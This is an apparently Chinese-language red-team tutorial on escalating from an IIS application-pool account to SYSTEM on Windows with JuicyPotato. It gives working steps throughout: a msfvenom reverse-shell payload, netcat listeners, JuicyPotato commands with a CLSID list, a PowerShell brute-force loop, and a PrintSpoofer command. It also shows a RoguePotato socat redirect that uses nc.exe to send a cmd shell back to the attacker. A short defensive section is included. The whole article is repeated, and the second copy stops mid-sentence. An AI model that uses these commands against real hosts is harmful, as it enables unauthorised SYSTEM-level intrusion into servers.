1. 项目概述从IIS服务账户到SYSTEM的权限跃迁在Windows渗透测试或红队评估中我们常常会遇到这样的场景通过一个Web漏洞比如文件上传、命令注入成功获取了一个反向Shell满心欢喜地执行了whoami结果发现当前用户是iis apppool\defaultapppool或者nt authority\iusr。这类账户是IISInternet Information Services应用程序池或匿名访问的默认身份权限被严格限制在Web目录和相关服务内几乎无法对系统进行任何实质性操作。这种“看得见摸不着”的状态就是我们常说的“立足点”Foothold。然而一个经常被忽视但极其关键的特性可能就隐藏在这个看似低权限的账户背后——SeImpersonatePrivilege特权。拥有这个特权就像拿到了一把可以打开系统最高权限SYSTEM大门的备用钥匙而JuicyPotato正是使用这把钥匙最经典、最有效的工具之一。这篇文章我将以一个从业超过十年的安全研究员视角带你彻底拆解如何利用JuicyPotato将IIS服务账户的权限提升至SYSTEM。我不会只给你命令和截图而是会深入讲解其背后的Windows安全机制原理为什么这个漏洞会存在以及在实际操作中你会遇到哪些坑尤其是那个让人头疼的CLSID选择问题并附上一份我多年实战积累、经过验证的CLSID避坑清单。无论你是刚入门的安全爱好者还是有一定经验的渗透测试工程师这篇文章都将为你提供一套完整、可复现的提权实战指南。2. 核心原理深度剖析特权、令牌与COM劫持在动手之前我们必须搞清楚JuicyPotato到底利用了Windows的哪些机制。知其然更要知其所以然这能帮助你在工具失效时自己分析原因甚至寻找新的利用路径。2.1 SeImpersonatePrivilege服务账户的“尚方宝剑”当你拿到一个IIS服务账户的Shell第一件事应该是检查特权。运行whoami /priv如果你在输出中看到了“SeImpersonatePrivilege”后面跟着“Enabled”那么恭喜你已经具备了提权的最关键条件。这个特权到底是什么在Windows安全模型中“模拟”Impersonation是一个核心概念。它允许一个进程或线程在某个安全上下文中执行操作时临时采用另一个用户的安全上下文即令牌。SeImpersonatePrivilege身份验证后模拟客户端就是授予进程这种“扮演他人”权利的权限。默认情况下本地服务如IIS应用程序池账户、SQL Server服务账户等和本地管理员组成员都拥有此特权。微软的本意是让服务能够代表连接的客户端执行操作例如一个Web服务代表登录的用户访问后端数据库。为什么这个特权危险关键在于服务账户可以模拟的“他人”不仅限于普通用户理论上也包括更高权限的账户甚至是NT AUTHORITY\SYSTEM。问题在于如何让SYSTEM账户“主动”把它的令牌交给你来模拟这就是Potato家族漏洞利用JuicyPotato, RoguePotato, PrintSpoofer等要解决的核心问题。2.2 Potato攻击的本质诱骗SYSTEM进行NTLM认证JuicyPotato的核心攻击思路可以概括为“诱骗劫持模拟”三部曲诱骗Bait攻击者进程以拥有SeImpersonatePrivilege的服务账户运行在本地启动一个假冒的RPCRemote Procedure Call服务器端点。然后它通过一系列Windows API调用请求系统上的某个COMComponent Object Model对象。在Windows内部不同权限级别的COM对象通信可能需要身份验证。JuicyPotato精心选择了一个特定的COM对象由CLSID标识当系统特别是SYSTEM权限的组件尝试与这个请求的COM对象通信时它会向攻击者假冒的RPC服务器发起NTLM身份验证。劫持Relay攻击者控制的假冒RPC服务器收到了SYSTEM发来的NTLM认证请求Challenge/Response。此时JuicyPotato并不将这个认证转发到真正的目的地而是通过一系列复杂的Windows API如AcceptSecurityContext,ImpersonateSecurityContext与本地安全机构子系统服务LSASS交互将这次NTLM交换“劫持”下来并在本地为NT AUTHORITY\SYSTEM账户协商生成一个安全令牌Token。这个令牌就保存在当前进程的上下文中。模拟Impersonate由于攻击者进程本身拥有SeImpersonatePrivilege特权它现在有权模拟这个刚刚生成的SYSTEM令牌。JuicyPotato最后一步就是启动一个子进程比如cmd.exe或你的反向Shell负载并将这个子进程的安全上下文设置为模拟的SYSTEM令牌。于是这个新进程就以SYSTEM权限运行了。简单生活化类比想象你服务账户是一个有特殊权限的剧院化妆师SeImpersonatePrivilege可以扮演任何来化妆的演员。你的目标是扮演国王SYSTEM。于是你伪造了一份国王亲笔签名的演出邀请函特定的CLSID请求发送给王宫管家。管家系统COM服务信以为真派出了国王的替身SYSTEM的NTLM认证请求前来剧院。你作为化妆师接待了这个替身并利用你的特殊权限直接获取了国王的服装和面具SYSTEM令牌然后你自己穿上成功扮演了国王。2.3 关键难点CLSID的“魔法数字”上述攻击成功的关键在于第一步你选择的COM对象CLSID必须能成功触发SYSTEM账户向你的假冒服务器发起认证。CLSID是一个全球唯一标识符像{4991d34b-80a1-4291-83b6-3328366b9097}这样的一串字符它代表系统中注册的某个COM类。为什么CLSID这么重要不是所有的COM对象都会在交互时触发NTLM认证更不是所有触发认证的COM对象都会使用SYSTEM账户的身份。有些可能使用“Network Service”或“Local Service”有些甚至使用匿名Anonymous身份。JuicyPotato默认使用一个CLSID{4991d34b-80a1-4291-83b6-3328366b9097}对应BITS服务它在很多旧版本系统Win7, Win8.1, Server 2008 R2等上有效。但随着系统更新微软会修补这些容易被滥用的COM类或者改变其行为。因此在实际渗透中尤其是在较新的系统上使用默认CLSID失败的概率很高。这就需要我们有一个备选的CLSID列表进行尝试。这份列表的搜集、验证和选择是JuicyPotato提权实操中最耗时、也最考验经验的部分。后文我会分享我的避坑清单和测试策略。2.4 影响范围与系统版本限制JuicyPotato的利用有明确的系统版本限制这是由微软在后续系统版本中引入的安全机制变更导致的有效系统Windows 7, Windows 8.1, Windows 10 初始版本至1803(Build 17134)以及对应的服务器版本Windows Server 2008 R2, 2012, 2012 R2, 2016。失效系统Windows 101809(Build 17763) 及更高版本Windows Server 2019 及更高版本。失效原因从Windows 10 1809 / Server 2019开始微软对DCOM分布式COM和OXID解析器进行了加固。关键变更在于现在COM服务仅允许通过TCP 135端口进行认证连接而JuicyPotato假冒的RPC服务器通常监听在其他端口如-l 443指定的端口。这使得SYSTEM无法通过非135端口与攻击者的假冒服务器完成认证流程攻击链因此中断。对于1809及之后的系统我们需要转向其他工具如PrintSpoofer利用打印机后台处理程序服务或RoguePotato在攻击机伪造OXID解析器将请求重定向回135端口。本文重点在JuicyPotato但会在常见问题部分简要对比这些后续方案。3. 实战环境搭建与前置侦察理论讲完我们进入实战。假设我们已经通过一个IIS的文件上传漏洞获取了一个iis apppool\defaultapppool账户的cmd shell。3.1 第一步确认提权条件在目标机器的Shell中依次执行以下命令进行侦察# 1. 确认当前用户 whoami # 预期输出iis apppool\defaultapppool 或类似 # 2. 检查关键特权是否启用 whoami /priv重点关注whoami /priv的输出。你需要在一堆特权列表中寻找这两行SeImpersonatePrivilege Impersonate a client after authentication Enabled SeAssignPrimaryTokenPrivilege Replace a process level token Enabled只要SeImpersonatePrivilege是Enabled提权的大门就敞开了。SeAssignPrimaryTokenPrivilege是另一个等价的强力特权有其一即可。 注意有些管理员会通过组策略移除服务账户的这些特权这是非常有效的加固手段。如果发现特权是Disabled那么JuicyPotato路径基本走不通需要寻找其他提权方法如内核漏洞、服务配置错误、凭证窃取等。3.2 第二步确定操作系统版本接下来我们需要确定目标系统是否在JuicyPotato的影响范围内。# 方法1使用systeminfo信息最全 systeminfo | findstr /B /C:OS 名称 /C:OS 版本 /C:系统类型 # 方法2快速查看版本号适用于命令行环境 ver # 或 wmic os get caption, version, buildnumber, osarchitecture例如输出可能是OS 名称: Microsoft Windows 10 专业版 OS 版本: 10.0.17134 暂缺 Build 17134 系统类型: x64-based PC这里的17134就是内部版本号Build Number对应Windows 10 Version 1803。查对版本号与系统版本的映射表可在微软官方或维基百科找到确认其小于1809Build 17763则JuicyPotato理论上可用。3.3 第三步准备攻击载荷与工具在攻击机Kali Linux或其它上我们需要准备两样东西JuicyPotato可执行文件根据目标系统架构x86或x64选择。通常现在服务器都是x64。GitHub项目https://github.com/ohpe/juicy-potato直接下载编译好的版本注意安全建议自行编译或从可信源获取。一个用于提权后执行的后门程序当JuicyPotato成功模拟SYSTEM令牌后需要用它来启动一个程序。我们通常准备一个反向Shell的exe。使用msfvenom生成msfvenom -p windows/x64/shell_reverse_tcp LHOST你的攻击机IP LPORT4444 -f exe -o shell.exe 实操心得选择LPORT时优先使用80、443、445、53等常见出站端口。很多服务器的防火墙会放行这些端口的出站连接而像4444这样的随机高端口很可能被阻断导致提权成功却收不到Shell让你误以为利用失败。文件上传将JuicyPotato.exe和shell.exe上传到目标服务器的可写目录例如C:\Windows\Temp\或Web目录下的某个文件夹。上传方法取决于你的Shell访问方式可以用certutil、powershell、bitsadmin或简单的FTP。4. JuicyPotato提权实操详解一切就绪现在开始最关键的操作。4.1 基础命令执行与结果分析假设工具和载荷都已上传至目标机的C:\temp目录。在攻击机上开启Netcat监听nc -lvnp 4444然后在目标机的Shell中执行JuicyPotatocd C:\temp JuicyPotato.exe -t * -p C:\temp\shell.exe -l 1337参数解释-t *指定创建进程的类型。*表示尝试所有类型CreateProcessWithToken, CreateProcessAsUser通常用*即可。-p 程序路径指定提权成功后要运行的程序路径即我们的反向Shell。-l 端口号指定JuicyPotato内部创建的RPC服务器监听端口。可以是任何未被占用的端口如1337, 443, 8080等。这个参数与成功率无关只是一个内部通信端口。理想情况下的输出与结果如果默认CLSIDBITS在目标系统上有效你会看到类似下面的输出Testing {4991d34b-80a1-4291-83b6-3328366b9097} ...... [] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [] CreateProcessWithTokenW OK同时你的Netcat监听器会立即接收到一个来自目标机的SYSTEM权限的反向Shell。执行whoami确认会显示nt authority\system。4.2 遭遇失败CLSID的博弈与我的避坑清单然而更多时候你会看到令人沮丧的失败信息Testing {4991d34b-80a1-4291-83b6-3328366b9097} ...... [-] CreateProcessWithTokenW Failed: 5错误代码5代表“访问被拒绝”。这通常意味着默认CLSID没有成功触发SYSTEM认证或者生成的令牌权限不足。这时就需要祭出我们的“CLSID避坑清单”了。这份清单是我从多个来源如ohpe的JuicyPotato原项目、各种渗透测试笔记、个人实验收集整理并经过实际环境验证的相对有效的CLSID列表。核心思路是尝试那些通常以SYSTEM或较高权限运行的系统服务的COM对象。JuicyPotato CLSID 避坑实战清单优先级排序优先级CLSID对应服务/组件适用系统备注高{4991d34b-80a1-4291-83b6-3328366b9097}BITS (Background Intelligent Transfer Service)默认首选。在Win7-Win10 1803 / Server 2008R2-2016上成功率高。高{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}Volume Shadow Copy Service (VSS)影子复制服务常以SYSTEM运行是优秀的备选。中{e60687f7-01a1-40aa-86ac-db1cbf673334}WMI (Windows Management Instrumentation)WMI提供者权限通常较高。中{854A20FB-2D44-457D-992F-EF13785D2B51}Task Scheduler 2.0任务计划程序SYSTEM权限。中{0A29FF9E-7F9C-4437-8B11-F424491E3931}WMI Standard Event Consumer另一个WMI相关组件。低{AA7F6F76-6F3F-4F5F-8B13-5B7DC8B9F8A9}MMC Snap-In Launcher微软管理控制台相关。低{8BC3F05E-D86B-11D0-A075-00C04FB68820}Windows Management Service系统管理相关。 重要注意事项系统差异同一个CLSID在不同系统版本、不同补丁状态、不同语言版本的系统上行为可能不同。这份清单是经验总结并非绝对。测试顺序建议按优先级从高到低测试。可以写一个简单的批处理脚本进行循环测试节省时间。命令格式使用-c参数指定CLSIDCLSID必须用双引号包裹。JuicyPotato.exe -t * -p C:\temp\shell.exe -l 1337 -c {6d8ff8e1-730d-11d4-bf42-00b0d0118b56}耐心与记录提权有时需要尝试几十个CLSID。务必记录哪些成功、哪些失败积累自己的经验库。4.3 自动化尝试与脚本辅助手动一个个测试CLSID非常低效。我们可以利用JuicyPotato的另一个特性如果-c参数指定的CLSID失败它会自动尝试一个内置的备用列表。但这个内置列表不一定全。更可靠的方法是我们自己维护一个CLSID列表文件每行一个CLSID然后用脚本循环调用。这里给出一个简单的PowerShell脚本思路可在目标机有PS权限时使用或在自己的攻击机上模拟测试$clsidList ( {4991d34b-80a1-4291-83b6-3328366b9097}, {6d8ff8e1-730d-11d4-bf42-00b0d0118b56}, {e60687f7-01a1-40aa-86ac-db1cbf673334}, {854A20FB-2D44-457D-992F-EF13785D2B51} # ... 添加更多CLSID ) $payload C:\temp\shell.exe foreach ($clsid in $clsidList) { Write-Host [*] Testing CLSID: $clsid -ForegroundColor Yellow $process Start-Process -FilePath C:\temp\JuicyPotato.exe -ArgumentList -t * -p $payload -l 1337 -c $clsid -NoNewWindow -PassThru -Wait # 简单判断如果进程很快退出且$process.ExitCode不为0可能失败。更准确的判断需要结合输出或监听端口。 Start-Sleep -Seconds 2 # 给Shell连接一点时间 # 这里可以添加检查Netcat是否收到连接的逻辑 }在实际渗透中更常见的做法是使用Metasploit的web_delivery模块配合ms16_075_reflection_juicy模块进行自动化攻击它会自动尝试多个CLSID。5. 高级技巧、问题排查与替代方案5.1 常见问题与排查实录问题1执行JuicyPotato后毫无反应进程退出没有错误信息也没有Shell。可能原因1系统版本高于1809。这是最常见的原因。用systeminfo或ver确认。如果1809JuicyPotato基本无效请转向PrintSpoofer或RoguePotato。可能原因2防火墙或安全软件拦截。生成的shell.exe连接回你的攻击机时被阻断。尝试使用常见端口80, 443或者换用其他协议/端口的载荷如HTTPS, DNS隧道。可能原因3SeImpersonatePrivilege特权被移除。再次用whoami /priv确认。如果被禁用此路不通。排查命令ver whoami /priv netstat -ano | findstr :4444 (查看你的监听端口是否在目标机有出站连接尝试)问题2错误提示“权限不足”或“访问被拒绝”但特权是启用的。可能原因CLSID不对。这是CLSID问题的典型表现。严格按照避坑清单换CLSID多试几次。有时同一个CLSID多运行几次也能成功存在一定随机性与系统状态有关。可能原因路径或参数错误。确保-p参数指定的shell.exe路径绝对正确且可执行。在目标机上先用dir命令确认文件存在。问题3JuicyPotato运行后目标机器上出现“COM Surrogate”进程崩溃。原因分析这是正常现象。JuicyPotato的利用过程会创建和操作COM对象可能导致dllhost.exeCOM Surrogate进程异常。只要最终能获取到SYSTEM Shell这个崩溃可以忽略。如果频繁崩溃且提权失败可能该CLSID极不稳定建议换一个。5.2 针对高版本系统1809的替代方案对于Windows 10 1809 / Server 2019及之后系统JuicyPotato的COM劫持路径被阻断但SeImpersonatePrivilege的威力仍在。主流替代方案有两个PrintSpoofer利用打印机后台处理程序服务Spooler的命名管道漏洞。它不需要CLSID命令极其简单且成功率很高。.\PrintSpoofer64.exe -i -c cmd 注意PrintSpoofer可能需要Visual C Redistributable运行库vcruntime140.dll。如果目标系统没有需要你一并上传该DLL到同一目录。RoguePotato可以看作是JuicyPotato的“升级版”它通过在攻击机上伪造一个OXID解析器监听135端口将目标系统的DCOM认证请求重定向回来从而绕过系统对非135端口的限制。使用起来稍复杂需要攻击机配合。攻击机socat tcp-listen:135,reuseaddr,fork tcp:目标机IP:9999目标机.\RoguePotato.exe -r 攻击机IP -e C:\temp\nc.exe 攻击机IP 4444 -e cmd.exe -l 9999方案选择建议在1809的系统上优先尝试PrintSpoofer因为它最简单直接不依赖攻击机设置。如果因运行库问题失败再考虑使用RoguePotato。5.3 防御视角如何防范此类提权作为蓝队或系统管理员了解攻击手法后加固措施就很有针对性最小权限原则检查所有服务账户尤其是IIS、SQL Server等的权限。在“本地安全策略”-“用户权限分配”中将SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege从这些服务账户中移除。这是最根本、最有效的防御方法。及时更新系统确保系统版本在1809以上并安装所有安全更新。这可以防御原始的JuicyPotato。禁用不必要的COM组件通过DCOMCNFG或注册表禁用那些非必需且可能被利用的COM组件CLSID。但这需要深厚的系统知识操作不当可能导致系统不稳定。启用Windows Defender等安全软件现代EDR/AV能够检测和阻断Potato家族工具的运行时行为。网络分段与监控监控服务器上异常进程创建特别是由dllhost.exe或服务账户发起的cmd.exe、powershell.exe和出站连接。从IIS这样一个低权限的服务账户通过SeImpersonatePrivilege和JuicyPotato这类工具一路攀升至SYSTEM整个过程充满了Windows安全机制内部各种特性碰撞的巧妙。它不仅仅是运行一个工具那么简单更是对Windows认证、令牌、COM/DCOM机制深入理解的一次实践。CLSID的博弈是这场实践中最磨人但也最体现经验价值的环节。希望这份详细的指南和避坑清单能让你在下一次遇到Windows服务账户时能够从容地完成这次华丽的权限跃迁。记住工具是固定的但思路和排查问题的能力才是安全研究的核心。当JuicyPotato失效时别忘了还有PrintSpoofer和RoguePotato在等着你而理解它们原理差异的过程会让你对Windows系统的认知再深一层。
Windows提权实战：利用JuicyPotato从IIS服务账户到SYSTEM权限
发布时间：2026/7/13 5:59:06
1. 项目概述从IIS服务账户到SYSTEM的权限跃迁在Windows渗透测试或红队评估中我们常常会遇到这样的场景通过一个Web漏洞比如文件上传、命令注入成功获取了一个反向Shell满心欢喜地执行了whoami结果发现当前用户是iis apppool\defaultapppool或者nt authority\iusr。这类账户是IISInternet Information Services应用程序池或匿名访问的默认身份权限被严格限制在Web目录和相关服务内几乎无法对系统进行任何实质性操作。这种“看得见摸不着”的状态就是我们常说的“立足点”Foothold。然而一个经常被忽视但极其关键的特性可能就隐藏在这个看似低权限的账户背后——SeImpersonatePrivilege特权。拥有这个特权就像拿到了一把可以打开系统最高权限SYSTEM大门的备用钥匙而JuicyPotato正是使用这把钥匙最经典、最有效的工具之一。这篇文章我将以一个从业超过十年的安全研究员视角带你彻底拆解如何利用JuicyPotato将IIS服务账户的权限提升至SYSTEM。我不会只给你命令和截图而是会深入讲解其背后的Windows安全机制原理为什么这个漏洞会存在以及在实际操作中你会遇到哪些坑尤其是那个让人头疼的CLSID选择问题并附上一份我多年实战积累、经过验证的CLSID避坑清单。无论你是刚入门的安全爱好者还是有一定经验的渗透测试工程师这篇文章都将为你提供一套完整、可复现的提权实战指南。2. 核心原理深度剖析特权、令牌与COM劫持在动手之前我们必须搞清楚JuicyPotato到底利用了Windows的哪些机制。知其然更要知其所以然这能帮助你在工具失效时自己分析原因甚至寻找新的利用路径。2.1 SeImpersonatePrivilege服务账户的“尚方宝剑”当你拿到一个IIS服务账户的Shell第一件事应该是检查特权。运行whoami /priv如果你在输出中看到了“SeImpersonatePrivilege”后面跟着“Enabled”那么恭喜你已经具备了提权的最关键条件。这个特权到底是什么在Windows安全模型中“模拟”Impersonation是一个核心概念。它允许一个进程或线程在某个安全上下文中执行操作时临时采用另一个用户的安全上下文即令牌。SeImpersonatePrivilege身份验证后模拟客户端就是授予进程这种“扮演他人”权利的权限。默认情况下本地服务如IIS应用程序池账户、SQL Server服务账户等和本地管理员组成员都拥有此特权。微软的本意是让服务能够代表连接的客户端执行操作例如一个Web服务代表登录的用户访问后端数据库。为什么这个特权危险关键在于服务账户可以模拟的“他人”不仅限于普通用户理论上也包括更高权限的账户甚至是NT AUTHORITY\SYSTEM。问题在于如何让SYSTEM账户“主动”把它的令牌交给你来模拟这就是Potato家族漏洞利用JuicyPotato, RoguePotato, PrintSpoofer等要解决的核心问题。2.2 Potato攻击的本质诱骗SYSTEM进行NTLM认证JuicyPotato的核心攻击思路可以概括为“诱骗劫持模拟”三部曲诱骗Bait攻击者进程以拥有SeImpersonatePrivilege的服务账户运行在本地启动一个假冒的RPCRemote Procedure Call服务器端点。然后它通过一系列Windows API调用请求系统上的某个COMComponent Object Model对象。在Windows内部不同权限级别的COM对象通信可能需要身份验证。JuicyPotato精心选择了一个特定的COM对象由CLSID标识当系统特别是SYSTEM权限的组件尝试与这个请求的COM对象通信时它会向攻击者假冒的RPC服务器发起NTLM身份验证。劫持Relay攻击者控制的假冒RPC服务器收到了SYSTEM发来的NTLM认证请求Challenge/Response。此时JuicyPotato并不将这个认证转发到真正的目的地而是通过一系列复杂的Windows API如AcceptSecurityContext,ImpersonateSecurityContext与本地安全机构子系统服务LSASS交互将这次NTLM交换“劫持”下来并在本地为NT AUTHORITY\SYSTEM账户协商生成一个安全令牌Token。这个令牌就保存在当前进程的上下文中。模拟Impersonate由于攻击者进程本身拥有SeImpersonatePrivilege特权它现在有权模拟这个刚刚生成的SYSTEM令牌。JuicyPotato最后一步就是启动一个子进程比如cmd.exe或你的反向Shell负载并将这个子进程的安全上下文设置为模拟的SYSTEM令牌。于是这个新进程就以SYSTEM权限运行了。简单生活化类比想象你服务账户是一个有特殊权限的剧院化妆师SeImpersonatePrivilege可以扮演任何来化妆的演员。你的目标是扮演国王SYSTEM。于是你伪造了一份国王亲笔签名的演出邀请函特定的CLSID请求发送给王宫管家。管家系统COM服务信以为真派出了国王的替身SYSTEM的NTLM认证请求前来剧院。你作为化妆师接待了这个替身并利用你的特殊权限直接获取了国王的服装和面具SYSTEM令牌然后你自己穿上成功扮演了国王。2.3 关键难点CLSID的“魔法数字”上述攻击成功的关键在于第一步你选择的COM对象CLSID必须能成功触发SYSTEM账户向你的假冒服务器发起认证。CLSID是一个全球唯一标识符像{4991d34b-80a1-4291-83b6-3328366b9097}这样的一串字符它代表系统中注册的某个COM类。为什么CLSID这么重要不是所有的COM对象都会在交互时触发NTLM认证更不是所有触发认证的COM对象都会使用SYSTEM账户的身份。有些可能使用“Network Service”或“Local Service”有些甚至使用匿名Anonymous身份。JuicyPotato默认使用一个CLSID{4991d34b-80a1-4291-83b6-3328366b9097}对应BITS服务它在很多旧版本系统Win7, Win8.1, Server 2008 R2等上有效。但随着系统更新微软会修补这些容易被滥用的COM类或者改变其行为。因此在实际渗透中尤其是在较新的系统上使用默认CLSID失败的概率很高。这就需要我们有一个备选的CLSID列表进行尝试。这份列表的搜集、验证和选择是JuicyPotato提权实操中最耗时、也最考验经验的部分。后文我会分享我的避坑清单和测试策略。2.4 影响范围与系统版本限制JuicyPotato的利用有明确的系统版本限制这是由微软在后续系统版本中引入的安全机制变更导致的有效系统Windows 7, Windows 8.1, Windows 10 初始版本至1803(Build 17134)以及对应的服务器版本Windows Server 2008 R2, 2012, 2012 R2, 2016。失效系统Windows 101809(Build 17763) 及更高版本Windows Server 2019 及更高版本。失效原因从Windows 10 1809 / Server 2019开始微软对DCOM分布式COM和OXID解析器进行了加固。关键变更在于现在COM服务仅允许通过TCP 135端口进行认证连接而JuicyPotato假冒的RPC服务器通常监听在其他端口如-l 443指定的端口。这使得SYSTEM无法通过非135端口与攻击者的假冒服务器完成认证流程攻击链因此中断。对于1809及之后的系统我们需要转向其他工具如PrintSpoofer利用打印机后台处理程序服务或RoguePotato在攻击机伪造OXID解析器将请求重定向回135端口。本文重点在JuicyPotato但会在常见问题部分简要对比这些后续方案。3. 实战环境搭建与前置侦察理论讲完我们进入实战。假设我们已经通过一个IIS的文件上传漏洞获取了一个iis apppool\defaultapppool账户的cmd shell。3.1 第一步确认提权条件在目标机器的Shell中依次执行以下命令进行侦察# 1. 确认当前用户 whoami # 预期输出iis apppool\defaultapppool 或类似 # 2. 检查关键特权是否启用 whoami /priv重点关注whoami /priv的输出。你需要在一堆特权列表中寻找这两行SeImpersonatePrivilege Impersonate a client after authentication Enabled SeAssignPrimaryTokenPrivilege Replace a process level token Enabled只要SeImpersonatePrivilege是Enabled提权的大门就敞开了。SeAssignPrimaryTokenPrivilege是另一个等价的强力特权有其一即可。 注意有些管理员会通过组策略移除服务账户的这些特权这是非常有效的加固手段。如果发现特权是Disabled那么JuicyPotato路径基本走不通需要寻找其他提权方法如内核漏洞、服务配置错误、凭证窃取等。3.2 第二步确定操作系统版本接下来我们需要确定目标系统是否在JuicyPotato的影响范围内。# 方法1使用systeminfo信息最全 systeminfo | findstr /B /C:OS 名称 /C:OS 版本 /C:系统类型 # 方法2快速查看版本号适用于命令行环境 ver # 或 wmic os get caption, version, buildnumber, osarchitecture例如输出可能是OS 名称: Microsoft Windows 10 专业版 OS 版本: 10.0.17134 暂缺 Build 17134 系统类型: x64-based PC这里的17134就是内部版本号Build Number对应Windows 10 Version 1803。查对版本号与系统版本的映射表可在微软官方或维基百科找到确认其小于1809Build 17763则JuicyPotato理论上可用。3.3 第三步准备攻击载荷与工具在攻击机Kali Linux或其它上我们需要准备两样东西JuicyPotato可执行文件根据目标系统架构x86或x64选择。通常现在服务器都是x64。GitHub项目https://github.com/ohpe/juicy-potato直接下载编译好的版本注意安全建议自行编译或从可信源获取。一个用于提权后执行的后门程序当JuicyPotato成功模拟SYSTEM令牌后需要用它来启动一个程序。我们通常准备一个反向Shell的exe。使用msfvenom生成msfvenom -p windows/x64/shell_reverse_tcp LHOST你的攻击机IP LPORT4444 -f exe -o shell.exe 实操心得选择LPORT时优先使用80、443、445、53等常见出站端口。很多服务器的防火墙会放行这些端口的出站连接而像4444这样的随机高端口很可能被阻断导致提权成功却收不到Shell让你误以为利用失败。文件上传将JuicyPotato.exe和shell.exe上传到目标服务器的可写目录例如C:\Windows\Temp\或Web目录下的某个文件夹。上传方法取决于你的Shell访问方式可以用certutil、powershell、bitsadmin或简单的FTP。4. JuicyPotato提权实操详解一切就绪现在开始最关键的操作。4.1 基础命令执行与结果分析假设工具和载荷都已上传至目标机的C:\temp目录。在攻击机上开启Netcat监听nc -lvnp 4444然后在目标机的Shell中执行JuicyPotatocd C:\temp JuicyPotato.exe -t * -p C:\temp\shell.exe -l 1337参数解释-t *指定创建进程的类型。*表示尝试所有类型CreateProcessWithToken, CreateProcessAsUser通常用*即可。-p 程序路径指定提权成功后要运行的程序路径即我们的反向Shell。-l 端口号指定JuicyPotato内部创建的RPC服务器监听端口。可以是任何未被占用的端口如1337, 443, 8080等。这个参数与成功率无关只是一个内部通信端口。理想情况下的输出与结果如果默认CLSIDBITS在目标系统上有效你会看到类似下面的输出Testing {4991d34b-80a1-4291-83b6-3328366b9097} ...... [] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [] CreateProcessWithTokenW OK同时你的Netcat监听器会立即接收到一个来自目标机的SYSTEM权限的反向Shell。执行whoami确认会显示nt authority\system。4.2 遭遇失败CLSID的博弈与我的避坑清单然而更多时候你会看到令人沮丧的失败信息Testing {4991d34b-80a1-4291-83b6-3328366b9097} ...... [-] CreateProcessWithTokenW Failed: 5错误代码5代表“访问被拒绝”。这通常意味着默认CLSID没有成功触发SYSTEM认证或者生成的令牌权限不足。这时就需要祭出我们的“CLSID避坑清单”了。这份清单是我从多个来源如ohpe的JuicyPotato原项目、各种渗透测试笔记、个人实验收集整理并经过实际环境验证的相对有效的CLSID列表。核心思路是尝试那些通常以SYSTEM或较高权限运行的系统服务的COM对象。JuicyPotato CLSID 避坑实战清单优先级排序优先级CLSID对应服务/组件适用系统备注高{4991d34b-80a1-4291-83b6-3328366b9097}BITS (Background Intelligent Transfer Service)默认首选。在Win7-Win10 1803 / Server 2008R2-2016上成功率高。高{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}Volume Shadow Copy Service (VSS)影子复制服务常以SYSTEM运行是优秀的备选。中{e60687f7-01a1-40aa-86ac-db1cbf673334}WMI (Windows Management Instrumentation)WMI提供者权限通常较高。中{854A20FB-2D44-457D-992F-EF13785D2B51}Task Scheduler 2.0任务计划程序SYSTEM权限。中{0A29FF9E-7F9C-4437-8B11-F424491E3931}WMI Standard Event Consumer另一个WMI相关组件。低{AA7F6F76-6F3F-4F5F-8B13-5B7DC8B9F8A9}MMC Snap-In Launcher微软管理控制台相关。低{8BC3F05E-D86B-11D0-A075-00C04FB68820}Windows Management Service系统管理相关。 重要注意事项系统差异同一个CLSID在不同系统版本、不同补丁状态、不同语言版本的系统上行为可能不同。这份清单是经验总结并非绝对。测试顺序建议按优先级从高到低测试。可以写一个简单的批处理脚本进行循环测试节省时间。命令格式使用-c参数指定CLSIDCLSID必须用双引号包裹。JuicyPotato.exe -t * -p C:\temp\shell.exe -l 1337 -c {6d8ff8e1-730d-11d4-bf42-00b0d0118b56}耐心与记录提权有时需要尝试几十个CLSID。务必记录哪些成功、哪些失败积累自己的经验库。4.3 自动化尝试与脚本辅助手动一个个测试CLSID非常低效。我们可以利用JuicyPotato的另一个特性如果-c参数指定的CLSID失败它会自动尝试一个内置的备用列表。但这个内置列表不一定全。更可靠的方法是我们自己维护一个CLSID列表文件每行一个CLSID然后用脚本循环调用。这里给出一个简单的PowerShell脚本思路可在目标机有PS权限时使用或在自己的攻击机上模拟测试$clsidList ( {4991d34b-80a1-4291-83b6-3328366b9097}, {6d8ff8e1-730d-11d4-bf42-00b0d0118b56}, {e60687f7-01a1-40aa-86ac-db1cbf673334}, {854A20FB-2D44-457D-992F-EF13785D2B51} # ... 添加更多CLSID ) $payload C:\temp\shell.exe foreach ($clsid in $clsidList) { Write-Host [*] Testing CLSID: $clsid -ForegroundColor Yellow $process Start-Process -FilePath C:\temp\JuicyPotato.exe -ArgumentList -t * -p $payload -l 1337 -c $clsid -NoNewWindow -PassThru -Wait # 简单判断如果进程很快退出且$process.ExitCode不为0可能失败。更准确的判断需要结合输出或监听端口。 Start-Sleep -Seconds 2 # 给Shell连接一点时间 # 这里可以添加检查Netcat是否收到连接的逻辑 }在实际渗透中更常见的做法是使用Metasploit的web_delivery模块配合ms16_075_reflection_juicy模块进行自动化攻击它会自动尝试多个CLSID。5. 高级技巧、问题排查与替代方案5.1 常见问题与排查实录问题1执行JuicyPotato后毫无反应进程退出没有错误信息也没有Shell。可能原因1系统版本高于1809。这是最常见的原因。用systeminfo或ver确认。如果1809JuicyPotato基本无效请转向PrintSpoofer或RoguePotato。可能原因2防火墙或安全软件拦截。生成的shell.exe连接回你的攻击机时被阻断。尝试使用常见端口80, 443或者换用其他协议/端口的载荷如HTTPS, DNS隧道。可能原因3SeImpersonatePrivilege特权被移除。再次用whoami /priv确认。如果被禁用此路不通。排查命令ver whoami /priv netstat -ano | findstr :4444 (查看你的监听端口是否在目标机有出站连接尝试)问题2错误提示“权限不足”或“访问被拒绝”但特权是启用的。可能原因CLSID不对。这是CLSID问题的典型表现。严格按照避坑清单换CLSID多试几次。有时同一个CLSID多运行几次也能成功存在一定随机性与系统状态有关。可能原因路径或参数错误。确保-p参数指定的shell.exe路径绝对正确且可执行。在目标机上先用dir命令确认文件存在。问题3JuicyPotato运行后目标机器上出现“COM Surrogate”进程崩溃。原因分析这是正常现象。JuicyPotato的利用过程会创建和操作COM对象可能导致dllhost.exeCOM Surrogate进程异常。只要最终能获取到SYSTEM 